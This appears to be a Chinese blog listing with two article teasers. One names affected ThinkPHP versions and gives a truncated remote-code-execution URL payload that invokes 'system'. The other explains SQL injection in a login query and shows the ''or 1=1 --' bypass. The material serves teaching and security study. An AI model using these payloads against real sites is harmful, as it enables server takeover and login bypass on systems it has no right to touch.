摘要：影响范围：v5.x < 5.1.31，<= 5.0.23 https://www.xxxx.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&var 阅读全文

摘要：sql注入原理 登录SQL语句: select * from admin where username = '用户输入的用户名' and password =用户输入的密码' 用户输入的内容可由用户自行控制，例如可以输入'or 1=1 --空格 SQL语句: select * from admin 阅读全文